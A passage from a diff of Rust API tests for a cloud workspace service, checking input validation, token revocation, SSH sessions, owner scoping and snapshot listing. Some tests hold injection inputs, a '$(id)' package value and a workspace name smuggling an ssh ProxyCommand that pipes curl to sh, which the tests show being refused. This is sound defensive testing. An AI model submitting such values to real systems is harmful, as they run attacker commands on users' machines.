]; + let store = Arc::new(MemStore::new()); + region(&store, "centralindia").await; + let jwt = Arc::new(Jwt::new("test-secret-at-least-32-bytes-long!!").unwrap()); + let (client, rec) = mock_client(routes); + let state = ApiState::new(store as Arc, jwt.clone(), HashSet::new()) + .with_kube(client) + .with_keys(keys) + .with_authorized_keys(Arc::new(StubKeys)); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = l.local_addr().unwrap(); + tokio::spawn(async move { axum::serve(l, router(Arc::new(state))).await.unwrap() }); + + let resp = reqwest::Client::new() + .get(format!("http://{addr}/v1/workspaces")) + .bearer_auth(token(&jwt, "karthik")) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 200, "{}", resp.text().await.unwrap()); + let calls = rec.calls(); + assert!( + calls.iter().any(|c| c == "PATCH /api/v1/namespaces/ws-karthik/secrets/user-key"), + "the absent Secret is re-installed on list: {calls:?}" + ); +} + +/// The API is one of the two places `spec.packages` is checked (the reconciler is the other, and +/// the one that matters); a shell-injection payload must never reach the object. +#[tokio::test] +async fn create_refuses_a_package_that_is_not_an_attribute_name() { + let s = server(create_routes()).await; + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .json(&json!({"name": "web", "region": "centralindia", "quota_gb": 20, "packages": ["$(id)"]})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 422); + let body: Value = resp.json().await.unwrap(); + assert!(body["error"].as_str().unwrap().contains("$(id)"), "{body}"); + assert!(s.rec.calls().is_empty(), "a refused create writes nothing"); +} + +/// The name lands verbatim in generated ssh config on every TEAMMATE's machine, so a newline in +/// it is remote command execution on their box, not a cosmetic problem. +#[tokio::test] +async fn create_refuses_a_name_that_would_inject_ssh_config() { + let s = server(create_routes()).await; + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .json(&json!({ + "name": "web\n ProxyCommand /bin/sh -c 'curl x|sh'\nHost *", + "region": "centralindia", "quota_gb": 20 + })) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 422); + let body: Value = resp.json().await.unwrap(); + assert!(body["error"].as_str().unwrap().contains("name must be"), "{body}"); + assert!(s.rec.calls().is_empty(), "a refused create writes nothing"); +} + +#[tokio::test] +async fn create_writes_the_requested_packages() { + let s = server(create_routes()).await; + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .json(&json!({"name": "web", "region": "centralindia", "quota_gb": 20, "packages": ["hello"]})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let w = &s.rec.sent("POST", &format!("{API}/workspaces"))[0]; + assert_eq!(w["spec"]["packages"], json!(["hello"])); +} + +#[tokio::test] +async fn patch_merges_the_package_list_and_echoes_the_doc() { + let mut patched = placed_ws("ws-1", "karthik"); + patched["spec"]["packages"] = json!(["hello", "jq"]); + let routes = vec![ + get(format!("{API}/workspaces/ws-1"), placed_ws("ws-1", "karthik")), + Route { method: "PATCH", path: format!("{API}/workspaces/ws-1"), status: 200, body: patched }, + ]; + let s = server(routes).await; + + let resp = reqwest::Client::new() + .patch(format!("{}/v1/workspaces/ws-1", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .json(&json!({"packages": ["hello", "jq"]})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 200, "{}", resp.text().await.unwrap()); + let doc: Value = resp.json().await.unwrap(); + assert_eq!(doc["packages"], json!(["hello", "jq"])); + // A merge patch, not an apply: it must touch `spec.packages` and nothing else. + let p = s.rec.sent("PATCH", &format!("{API}/workspaces/ws-1")).pop().unwrap(); + assert_eq!(p, json!({"spec": {"packages": ["hello", "jq"]}})); +} + +/// A CLI login authenticates the workspace routes exactly like a browser session — and stops +/// doing so the moment its row is gone, which is the only thing that makes `kl logout` real. +struct StubCliTokens(bool); + +#[async_trait::async_trait] +impl rustic_git_workspaces::api::CliTokenCheck for StubCliTokens { + async fn is_live(&self, _jti: &str) -> bool { + self.0 + } +} + +async fn server_with_cli(routes: Vec, live: bool) -> Server { + let store = Arc::new(MemStore::new()); + region(&store, "centralindia").await; + let jwt = Arc::new(Jwt::new("test-secret-at-least-32-bytes-long!!").unwrap()); + let (client, rec) = mock_client(routes); + let state = ApiState::new(store.clone() as Arc, jwt.clone(), HashSet::new()) + .with_kube(client) + .with_cli_tokens(Arc::new(StubCliTokens(live))); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = l.local_addr().unwrap(); + let app = router(Arc::new(state)); + tokio::spawn(async move { axum::serve(l, app).await.unwrap() }); + Server { base: format!("http://{addr}"), store, jwt, rec } +} + +#[tokio::test] +async fn a_cli_token_is_a_caller_until_it_is_revoked() { + let ws = json!({"apiVersion": "rustic-git.io/v1alpha1", "kind": "WorkspaceList", "items": []}); + let routes = || { + vec![ + get(format!("{API}/workspaces"), ws.clone()), + get(format!("{API}/snapshotrequests"), json!({"apiVersion": "rustic-git.io/v1alpha1", "kind": "SnapshotRequestList", "items": []})), + ] + }; + let live = server_with_cli(routes(), true).await; + let tok = live.jwt.mint_cli("karthik@example.com", "Test User", Some("karthik")).unwrap().0; + let resp = reqwest::Client::new() + .get(format!("{}/v1/workspaces", live.base)) + .bearer_auth(&tok) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 200, "{}", resp.text().await.unwrap()); + + let revoked = server_with_cli(routes(), false).await; + let tok = revoked.jwt.mint_cli("karthik@example.com", "Test User", Some("karthik")).unwrap().0; + let resp = reqwest::Client::new() + .get(format!("{}/v1/workspaces", revoked.base)) + .bearer_auth(&tok) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 401, "a revoked CLI login authenticates nothing"); +} + +fn ws_with_host_key(name: &str, owner: &str, phase: &str, host_key: Option<&str>) -> Value { + let mut w = placed_ws(name, owner); + w["status"]["phase"] = json!(phase); + match host_key { + Some(k) => w["status"]["sshHostKey"] = json!(k), + None => { + w["status"].as_object_mut().unwrap().remove("sshHostKey"); + } + } + w +} + +#[tokio::test] +async fn an_ssh_session_is_minted_only_for_a_ready_workspace_the_caller_may_act_on() { + const HOST_KEY: &str = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIhostkey ws-1"; + let s = server(vec![get( + format!("{API}/workspaces/ws-1"), + ws_with_host_key("ws-1", "karthik", "ready", Some(HOST_KEY)), + )]) + .await; + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/ws-1/ssh-session", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 201, "{}", resp.text().await.unwrap()); + let body: Value = resp.json().await.unwrap(); + assert_eq!(body["gateway"], "wss://ws-centralindia.khost.dev/tunnel/ws-1"); + assert_eq!(body["host_key"], HOST_KEY); + let claims = s.jwt.verify_ssh_session(body["token"].as_str().unwrap()).unwrap(); + assert_eq!(claims.ws, "ws-1"); + assert_eq!(claims.sub, "karthik"); + assert_eq!(claims.region, "centralindia"); + assert!(body["expires_at"].as_str().unwrap().contains('T'), "RFC3339: {body}"); + + // Someone else's workspace is a 404, the same as every other workspace route. + let s = server(vec![get( + format!("{API}/workspaces/ws-1"), + ws_with_host_key("ws-1", "bob", "ready", Some(HOST_KEY)), + )]) + .await; + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/ws-1/ssh-session", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 404); + + // Not running: there is nothing to connect to, and the state is what the CLI reports. + let s = server(vec![get( + format!("{API}/workspaces/ws-1"), + ws_with_host_key("ws-1", "karthik", "stopped", Some(HOST_KEY)), + )]) + .await; + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/ws-1/ssh-session", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 409); + let body: Value = resp.json().await.unwrap(); + assert_eq!(body["error"], "workspace is stopped"); + + // Ready but the pod has not reported its host key yet: a session minted now would give the + // CLI nothing to pin, so it fails closed rather than inviting a TOFU prompt. + let s = server(vec![get( + format!("{API}/workspaces/ws-1"), + ws_with_host_key("ws-1", "karthik", "ready", None), + )]) + .await; + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces/ws-1/ssh-session", s.base)) + .bearer_auth(token(&s.jwt, "karthik")) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 503); +} + + +struct StubKeys; + +#[async_trait::async_trait] +impl rustic_git_workspaces::api::AuthorizedKeys for StubKeys { + async fn for_owner(&self, _owner: &str) -> Option { + Some(rustic_git_workspaces::api::OwnerMaterial { + authorized_keys: "ssh-ed25519 AAAA karthik@laptop".into(), + git_name: "Karthik".into(), + git_email: "karthik@example.com".into(), + }) + } +} + +fn ns_obj(name: &str, owner: &str) -> Value { + json!({ + "apiVersion": "v1", "kind": "Namespace", + "metadata": {"name": name, "labels": {"rustic-git.io/owner": owner, "rustic-git.io/kind": "workspace"}} + }) +} + +/// `karthik` is in `team1` and in a team whose name is long enough that the personal form of the +/// name would have to be DNS-hashed. +struct KeyTeams(String); + +#[async_trait::async_trait] +impl MembershipCheck for KeyTeams { + async fn teams_for(&self, _user: &str) -> Vec { + vec!["team1".into(), self.0.clone()] + } +} + +/// The owner LABEL is what the listing selects on, and a label is a view — a namespace wearing +/// someone else's name must not get this owner's keys, whatever its labels say. The owner's own +/// namespaces are RECOMPUTED rather than pattern-matched, so a hashed one is refreshed too. +#[tokio::test] +async fn refreshing_keys_writes_only_namespaces_named_for_the_owner() { + let tmp = tempfile::tempdir().unwrap(); + let keys = Arc::new( + rustic_git_storage::store::Store::open( + Arc::new(object_store::memory::InMemory::new()), + tmp.path().join("cache"), + false, + ) + .await + .unwrap(), + ); + keys.rotate_user_key("karthik", "PRIVATE KEY", "SHA256:abc", None).await.unwrap(); + + let long_team = "a".repeat(60); + let long_ns = rustic_git_workspaces::crd::ws_namespace("karthik", &long_team); + assert!(!long_ns.ends_with("-karthik"), "this team must be DNS-hashed: {long_ns}"); + + let ok = |ns: &str| Route { + method: "PATCH", + path: format!("/api/v1/namespaces/{ns}/secrets/user-key"), + status: 200, + body: json!({"apiVersion": "v1", "kind": "Secret", "metadata": {"name": "user-key"}}), + }; + let (client, rec) = mock_client(vec![ + get( + "/api/v1/namespaces", + json!({"apiVersion": "v1", "kind": "NamespaceList", "metadata": {}, "items": [ + ns_obj(&rustic_git_workspaces::crd::ws_namespace("karthik", "team1"), "karthik"), + ns_obj(&long_ns, "karthik"), + ns_obj("ws-someoneelse", "karthik") + ]}), + ), + ok(&rustic_git_workspaces::crd::ws_namespace("karthik", "team1")), + ok(&long_ns), + ]); + let state = ApiState::new( + Arc::new(MemStore::new()) as Arc, + Arc::new(Jwt::new("test-secret-at-least-32-bytes-long!!").unwrap()), + HashSet::new(), + ) + .with_kube(client) + .with_keys(keys) + .with_membership(Arc::new(KeyTeams(long_team))) + .with_authorized_keys(Arc::new(StubKeys)); + + rustic_git_workspaces::api::refresh_user_keys(&state, "karthik").await; + + let mut patches: Vec<_> = rec.calls().into_iter().filter(|c| c.starts_with("PATCH")).collect(); + patches.sort(); + let mut want = vec![ + format!("PATCH /api/v1/namespaces/{}/secrets/user-key", rustic_git_workspaces::crd::ws_namespace("karthik", "team1")), + format!("PATCH /api/v1/namespaces/{long_ns}/secrets/user-key"), + ]; + want.sort(); + assert_eq!(patches, want, "{patches:?}"); + let body = rec.sent("PATCH", &format!("/api/v1/namespaces/{}/secrets/user-key", rustic_git_workspaces::crd::ws_namespace("karthik", "team1"))).pop().unwrap(); + assert_eq!(body["stringData"]["authorized_keys"], "ssh-ed25519 AAAA karthik@laptop"); + assert_eq!(body["stringData"]["gitconfig"], "[user]\n\tname = \"Karthik\"\n\temail = \"karthik@example.com\"\n"); +} + +// ── admission ───────────────────────────────────────────────────────────── + +/// A region the caller typed becomes the OwnerBinding's NAME. Unknown means a workspace no +/// controller ever claims; chosen means a binding squatted in someone else's region. Only what +/// an admin registered and left active gets past the create. +#[tokio::test] +async fn an_unknown_or_inactive_region_is_refused_on_create() { + let s = server(create_routes()).await; + let mut inactive = rustic_git_workspaces::model::Region { + id: "westeurope".into(), + name: "westeurope".into(), + storage_account: "acct".into(), + blob_container: "wslayers".into(), + status: "inactive".into(), + agent_token: "tok".into(), + }; + s.store.put_region(&inactive).await.unwrap(); + let tok = token(&s.jwt, "karthik"); + let client = reqwest::Client::new(); + for region in ["nosuch", "centralindia-x", "westeurope"] { + let resp = client + .post(format!("{}/v1/workspaces", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "web", "region": region, "quota_gb": 20})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 422, "workspace in {region}: {}", resp.text().await.unwrap()); + let resp = client + .post(format!("{}/v1/environments", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "app", "region": region, "services": []})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 422, "environment in {region}: {}", resp.text().await.unwrap()); + } + assert!(s.rec.sent("POST", &format!("{API}/workspaces")).is_empty(), "nothing written"); + assert!(s.rec.sent("POST", &format!("{API}/environments")).is_empty(), "nothing written"); + // Activated, the same id is accepted. + inactive.status = "active".into(); + s.store.put_region(&inactive).await.unwrap(); + let resp = client + .post(format!("{}/v1/workspaces", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "web", "region": "westeurope", "quota_gb": 20})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); +} + +/// `0` was a `0Gi` claim nothing could start on, and there was no ceiling at all. +#[tokio::test] +async fn a_quota_is_clamped_to_the_range_a_node_can_back() { + let s = server(create_routes()).await; + let tok = token(&s.jwt, "karthik"); + let client = reqwest::Client::new(); + for (asked, want) in [(0u64, 1u64), (1_000_000_000_000, 500), (20, 20)] { + let resp = client + .post(format!("{}/v1/workspaces", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "web", "region": "centralindia", "quota_gb": asked})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let resp = client + .post(format!("{}/v1/environments", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "app", "region": "centralindia", "services": [], "quota_gb": asked})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let w = s.rec.sent("POST", &format!("{API}/workspaces")).pop().unwrap(); + assert_eq!(w["spec"]["storage"]["quotaGb"], want, "asked {asked}"); + let e = s.rec.sent("POST", &format!("{API}/environments")).pop().unwrap(); + assert_eq!(e["spec"]["storage"]["quotaGb"], want, "asked {asked}"); + } +} + +/// A service name becomes a StatefulSet name; a bad one is a 422 from the API server on every +/// reconcile, forever. Refused at the door instead, along with the environment's own name. +#[tokio::test] +async fn an_environment_with_an_unusable_name_or_service_is_refused() { + let s = server(create_routes()).await; + let tok = token(&s.jwt, "karthik"); + let client = reqwest::Client::new(); + let svc = |name: &str, ports: Vec, env: serde_json::Value| { + json!({"name": name, "image": "alpine", "command": [], "env": env, "mounts": [], "ports": ports}) + }; + let bad_services = [ + vec![svc("Foo_bar", vec![80], json!({}))], + vec![svc("db", vec![0], json!({}))], + vec![svc("db", vec![80], json!({"FOO-BAR": "x"}))], + vec![svc("db", vec![80], json!({})), svc("db", vec![81], json!({}))], + ]; + for services in bad_services { + let resp = client + .post(format!("{}/v1/environments", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "app", "region": "centralindia", "services": services})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 400, "{services:?}: {}", resp.text().await.unwrap()); + } + let resp = client + .post(format!("{}/v1/environments", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "bad\nname", "region": "centralindia", "services": []})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 422, "{}", resp.text().await.unwrap()); + assert!(s.rec.sent("POST", &format!("{API}/environments")).is_empty(), "nothing written"); +} + +/// `karthik` is in BOTH `acme` and `globex`. +struct TwoTeams; + +#[async_trait::async_trait] +impl rustic_git_workspaces::api::MembershipCheck for TwoTeams { + async fn teams_for(&self, user: &str) -> Vec { + if user == "karthik" { vec!["acme".into(), "globex".into()] } else { vec![] } + } +} + +/// A snapshot found under team A is A's data. Restoring it as team B — which the caller is also +/// in — would hand it to everyone in B, past A's membership boundary. The caller's own account is +/// the one legitimate elsewhere. +#[tokio::test] +async fn a_teams_snapshot_cannot_be_restored_into_another_team() { + let up = stub_registry( + vec![("karthik", json!([])), ("acme", json!([{"name": "env-x", "latest_ms": 1i64}])), ("globex", json!([]))], + vec![( + "acme/env-x", + json!([{"id": "snap-team", "state": {"kind": "environment", "name": "staging"}, + "lineage": [], "region": "centralindia", "created_at": "2026-08-27T09:00:00Z"}]), + )], + ) + .await; + let store = Arc::new(MemStore::new()); + region(&store, "centralindia").await; + let jwt = Arc::new(Jwt::new("test-secret-at-least-32-bytes-long!!").unwrap()); + let (client, rec) = mock_client(vec![post(format!("{API}/environments"), env_obj("env-new", "karthik"))]); + let state = ApiState::new(store as Arc, jwt.clone(), HashSet::new()) + .with_kube(client) + .with_membership(Arc::new(TwoTeams)) + .with_upstream(Arc::new(Upstream::new(up, "peer-secret"))); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let base = format!("http://{}", l.local_addr().unwrap()); + tokio::spawn(async move { axum::serve(l, router(Arc::new(state))).await.unwrap() }); + + let restore = |owner: &str| { + reqwest::Client::new() + .post(format!("{base}/v1/environments/restore")) + .bearer_auth(token(&jwt, "karthik")) + .json(&json!({"name": "copy", "snapshot_id": "snap-team", "owner": owner})) + .send() + }; + let resp = restore("globex").await.unwrap(); + assert_eq!(resp.status(), 403, "{}", resp.text().await.unwrap()); + assert!(rec.sent("POST", &format!("{API}/environments")).is_empty(), "nothing written"); + // Their own copy is fine. + let resp = restore("karthik").await.unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + assert_eq!(rec.sent("POST", &format!("{API}/environments"))[0]["spec"]["owner"], "karthik"); +} diff --git a/crates/workspaces/tests/api_volumes.rs b/crates/workspaces/tests/api_volumes.rs new file mode 100644 index 00000000..56f310e1 --- /dev/null +++ b/crates/workspaces/tests/api_volumes.rs @@ -0,0 +1,375 @@ +//! `/v1/volumes` browse routes, against a mocked cluster and a mocked server tier. +//! +//! The snapshots themselves come from the SERVER tier now: the index and the records both live in +//! the `vol/{owner}/{name}` registry, and this tier only asks the cluster whether a snapshot's +//! parent workspace still exists. No `SnapshotRequest` appears in this file at all — the request is +//! the push work item, and a listing that depended on one would go blind the moment it was +//! collected. + +use rustic_git_core::jwt::Jwt; +use rustic_git_workspaces::api::{router, ApiState}; +use rustic_git_workspaces::kube_test::{get as kget, mock_client, stub_registry as upstream, Recorder, Route}; +use rustic_git_workspaces::store::{MemStore, MetaStore}; +use rustic_git_workspaces::upstream::Upstream; +use serde_json::{json, Value}; +use std::collections::HashSet; +use std::sync::Arc; + +const API: &str = "/apis/rustic-git.io/v1alpha1"; +const NODE: &str = "node-a"; + +struct Server { + base: String, + jwt: Arc, + #[allow(dead_code)] + rec: Recorder, +} + +fn ws_obj(name: &str, owner: &str, display: &str) -> Value { + json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Workspace", + "metadata": {"name": name, "labels": {"rustic-git.io/owner": owner}}, + "spec": { + "owner": owner, "name": display, "region": "centralindia", "image": "nginx:alpine", + "storage": {"quotaGb": 20}, "desiredState": "running" + }, + "status": {"phase": "ready", "nodeName": NODE, "volumeRef": name} + }) +} + +fn ws_list(items: Vec) -> Value { + json!({"apiVersion": "rustic-git.io/v1alpha1", "kind": "WorkspaceList", "metadata": {}, "items": items}) +} + +fn env_list(items: Vec) -> Value { + json!({"apiVersion": "rustic-git.io/v1alpha1", "kind": "EnvironmentList", "metadata": {}, "items": items}) +} + +/// A commit record as the server tier answers it. `state` is where a push writes its provenance. +fn record(id: &str, at: &str, message: Option<&str>, state: Value) -> Value { + let mut v = json!({ + "id": id, "state": state, "lineage": [], "region": "centralindia", "created_at": at + }); + if let Some(m) = message { + v["message"] = json!(m); + } + v +} + +async fn server(routes: Vec, upstream_base: String) -> Server { + let store = Arc::new(MemStore::new()); + let jwt = Arc::new(Jwt::new("test-secret-at-least-32-bytes-long!!").unwrap()); + let (client, rec) = mock_client(routes); + let state = ApiState::new(store as Arc, jwt.clone(), HashSet::new()) + .with_kube(client) + .with_upstream(Arc::new(Upstream::new(upstream_base, "peer-secret"))); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = l.local_addr().unwrap(); + tokio::spawn(async move { axum::serve(l, router(Arc::new(state))).await.unwrap() }); + Server { base: format!("http://{addr}"), jwt, rec } +} + +fn token(jwt: &Jwt, username: &str) -> String { + jwt.mint(&format!("{username}@example.com"), "Test User", Some(username)).unwrap() +} + +async fn get_json(s: &Server, tok: &str, path: &str) -> (reqwest::StatusCode, Value) { + let resp = reqwest::Client::new() + .get(format!("{}{path}", s.base)) + .bearer_auth(tok) + .send() + .await + .unwrap(); + let status = resp.status(); + (status, resp.json().await.unwrap_or(Value::Null)) +} + +/// THE bug this exists for: a volume whose workspace was deleted is still listed, still counted, +/// and still says what it used to be — because the records outlive the workspace and the listing +/// reads the records. +#[tokio::test] +async fn a_volume_whose_parent_was_deleted_is_still_listed() { + let up = upstream( + vec![("karthik", json!([{"name": "ws-live", "latest_ms": 1_700_000_000_000i64}, + {"name": "ws-gone", "latest_ms": 1_700_000_001_000i64}]))], + vec![( + "karthik/ws-gone", + json!([ + record("c2", "2026-08-27T10:00:00Z", Some("second"), json!({"kind": "workspace", "name": "api-scratch"})), + record("c1", "2026-08-27T09:00:00Z", Some("first"), json!({"kind": "workspace", "name": "api-scratch"})), + ]), + )], + ) + .await; + // Only `ws-live` still exists in the cluster. + let s = server( + vec![ + kget(format!("{API}/workspaces"), ws_list(vec![ws_obj("ws-live", "karthik", "web")])), + kget(format!("{API}/environments"), env_list(vec![])), + ], + up, + ) + .await; + let tok = token(&s.jwt, "karthik"); + + let (status, body) = get_json(&s, &tok, "/v1/volumes").await; + assert_eq!(status, 200, "{body}"); + let rows = body.as_array().unwrap(); + assert_eq!(rows.len(), 2, "the deleted parent's volume is still a row: {body}"); + + let live = rows.iter().find(|v| v["name"] == "ws-live").unwrap(); + assert_eq!(live["deleted"], false); + assert_eq!(live["kind"], "workspace"); + assert_eq!(live["display_name"], "web", "a live parent names itself"); + assert_eq!(live["volume"], "vol/karthik/ws-live", "the field the web already reads"); + + let gone = rows.iter().find(|v| v["name"] == "ws-gone").unwrap(); + assert_eq!(gone["deleted"], true, "no live workspace of that name: {gone}"); + assert_eq!(gone["kind"], "workspace"); + assert_eq!(gone["display_name"], "api-scratch", "from the newest record's provenance"); + assert_eq!(gone["latest_ms"], 1_700_000_001_000i64); +} + +/// A volume with no provenance anywhere — pushed before it was written, or backfilled — falls back +/// to the volume id rather than showing a blank name, and to the ID PREFIX for its kind. The +/// prefix is authoritative (`rid("ws")` / `rid("env")` mint every id), so an unnamed `env-` volume +/// is an environment; defaulting the whole class to "workspace" filed every deleted environment's +/// snapshots under the wrong heading. +#[tokio::test] +async fn a_record_without_provenance_falls_back_to_the_volume_id() { + let up = upstream( + vec![( + "karthik", + json!([ + {"name": "ws-old", "latest_ms": 1_700_000_000_000i64}, + {"name": "env-old", "latest_ms": 1_700_000_000_000i64} + ]), + )], + vec![ + ("karthik/ws-old", json!([record("c1", "2026-08-27T09:00:00Z", None, Value::Null)])), + ("karthik/env-old", json!([record("c2", "2026-08-27T09:00:00Z", None, Value::Null)])), + ], + ) + .await; + let s = server( + vec![ + kget(format!("{API}/workspaces"), ws_list(vec![])), + kget(format!("{API}/environments"), env_list(vec![])), + ], + up, + ) + .await; + let tok = token(&s.jwt, "karthik"); + + let (status, body) = get_json(&s, &tok, "/v1/volumes").await; + assert_eq!(status, 200); + let rows = body.as_array().unwrap(); + let by = |n: &str| rows.iter().find(|r| r["name"] == n).unwrap_or_else(|| panic!("{n} missing: {body}")).clone(); + + let ws = by("ws-old"); + assert_eq!(ws["display_name"], "ws-old"); + assert_eq!(ws["kind"], "workspace"); + assert_eq!(ws["deleted"], true); + + let env = by("env-old"); + assert_eq!(env["display_name"], "env-old"); + assert_eq!(env["kind"], "environment", "the id prefix is what says so"); + assert_eq!(env["deleted"], true); +} + +/// History is the server tier's answer verbatim, and needs no live parent to be readable. +#[tokio::test] +async fn history_reads_without_a_live_workspace() { + let up = upstream( + vec![("karthik", json!([{"name": "ws-gone", "latest_ms": 1i64}]))], + vec![( + "karthik/ws-gone", + json!([ + record("c2", "2026-08-27T10:00:00Z", None, Value::Null), + record("c1", "2026-08-27T09:00:00Z", Some("first"), Value::Null), + ]), + )], + ) + .await; + let s = server(vec![], up).await; + let tok = token(&s.jwt, "karthik"); + + let (status, body) = get_json(&s, &tok, "/v1/volumes/ws-gone/history").await; + assert_eq!(status, 200, "{body}"); + let records = body.as_array().unwrap(); + assert_eq!(records.len(), 2); + assert_eq!(records[0]["id"], "c2", "newest first"); + assert_eq!(records[1]["message"], "first"); + + // And "main" is the newest, the same convention `engine::ops` relies on. + let (status, body) = get_json(&s, &tok, "/v1/volumes/ws-gone/refs").await; + assert_eq!(status, 200); + assert_eq!(body["main"], "c2"); +} + +/// The server tier refuses a volume that is not the named owner's, and this tier only ever asks as +/// owners it has verified the caller for — so someone else's volume is a 404 either way. +#[tokio::test] +async fn another_owners_volume_is_not_found() { + let up = upstream( + vec![("alice", json!([{"name": "ws-1", "latest_ms": 1i64}]))], + vec![("alice/ws-1", json!([record("c1", "2026-08-27T09:00:00Z", None, Value::Null)]))], + ) + .await; + let s = server(vec![], up).await; + let tok = token(&s.jwt, "karthik"); + + assert_eq!(get_json(&s, &tok, "/v1/volumes/ws-1/history").await.0, 404); +} + +#[tokio::test] +async fn unauthorized_without_a_token() { + let up = upstream(vec![], vec![]).await; + let s = server(vec![], up).await; + let resp = reqwest::Client::new().get(format!("{}/v1/volumes/ws-1/history", s.base)).send().await.unwrap(); + assert_eq!(resp.status(), 401); +} + +/// Environments push volumes exactly as workspaces do, so the Snapshots page shows both — a live +/// environment named by its own spec, and a deleted one named by the provenance its last push +/// wrote. The kind is what the page picks an icon by, so getting it from the record (not from a +/// guess) is the point. +#[tokio::test] +async fn environment_and_workspace_snapshots_both_list() { + let up = upstream( + vec![( + "karthik", + json!([ + {"name": "ws-1", "latest_ms": 1_700_000_000_000i64}, + {"name": "env-live", "latest_ms": 1_700_000_002_000i64}, + {"name": "env-gone", "latest_ms": 1_700_000_003_000i64}, + ]), + )], + vec![( + "karthik/env-gone", + json!([record("c9", "2026-08-27T11:00:00Z", None, json!({"kind": "environment", "name": "staging"}))]), + )], + ) + .await; + let s = server( + vec![ + kget(format!("{API}/workspaces"), ws_list(vec![ws_obj("ws-1", "karthik", "web")])), + kget( + format!("{API}/environments"), + env_list(vec![json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Environment", + "metadata": {"name": "env-live", "labels": {"rustic-git.io/owner": "karthik"}}, + "spec": {"owner": "karthik", "name": "preview", "region": "centralindia", + "services": [], "storage": {"quotaGb": 20}, "desiredState": "running"} + })]), + ), + ], + up, + ) + .await; + let tok = token(&s.jwt, "karthik"); + + let (status, body) = get_json(&s, &tok, "/v1/volumes").await; + assert_eq!(status, 200, "{body}"); + let rows = body.as_array().unwrap(); + assert_eq!(rows.len(), 3, "both kinds, live and deleted: {body}"); + + let ws = rows.iter().find(|v| v["name"] == "ws-1").unwrap(); + assert_eq!(ws["kind"], "workspace"); + assert_eq!(ws["display_name"], "web"); + + let live_env = rows.iter().find(|v| v["name"] == "env-live").unwrap(); + assert_eq!(live_env["kind"], "environment", "a live environment names its own kind: {live_env}"); + assert_eq!(live_env["display_name"], "preview"); + assert_eq!(live_env["deleted"], false); + + let gone_env = rows.iter().find(|v| v["name"] == "env-gone").unwrap(); + assert_eq!(gone_env["kind"], "environment", "from the record, the environment being gone: {gone_env}"); + assert_eq!(gone_env["display_name"], "staging"); + assert_eq!(gone_env["deleted"], true); + + // What the Snapshots tab actually asks for: environment snapshots are the shared artifact, a + // workspace's are that one person's undo history and are reached from their own workspace row. + let (status, body) = get_json(&s, &tok, "/v1/volumes?kind=environment").await; + assert_eq!(status, 200, "{body}"); + let rows = body.as_array().unwrap(); + assert_eq!(rows.len(), 2, "only the environments: {body}"); + assert!(rows.iter().all(|v| v["kind"] == "environment"), "{body}"); +} + +/// `DELETE /v1/volumes/{id}` — what the environment Delete dialog calls when "Also delete its +/// snapshots" is checked, and what an archived row's own "Delete snapshots" calls. Scoped exactly +/// as the history read is: another owner's volume is a 404, never a 403. +#[tokio::test] +async fn deleting_a_volumes_snapshots_is_owner_scoped() { + let up = upstream( + vec![("karthik", json!([{"name": "env-1", "latest_ms": 1i64}]))], + vec![("karthik/env-1", json!([record("c1", "2026-08-27T09:00:00Z", None, Value::Null)]))], + ) + .await; + let s = server(vec![], up).await; + + let del = |tok: String, name: &str| { + let url = format!("{}/v1/volumes/{name}", s.base); + async move { reqwest::Client::new().delete(url).bearer_auth(tok).send().await.unwrap().status() } + }; + + // Not karthik's: `volume_owner` never finds it under any label they may read. + assert_eq!(del(token(&s.jwt, "bob"), "env-1").await, 404); + assert_eq!(del(token(&s.jwt, "karthik"), "no-such-vol").await, 404); + assert_eq!(del(token(&s.jwt, "karthik"), "env-1").await, 204); +} + +/// `DELETE /v1/volumes/{id}/snapshots/{snapshot}` — one record out of the lineage, scoped exactly +/// as the history read is. An id that is not in that volume's history is 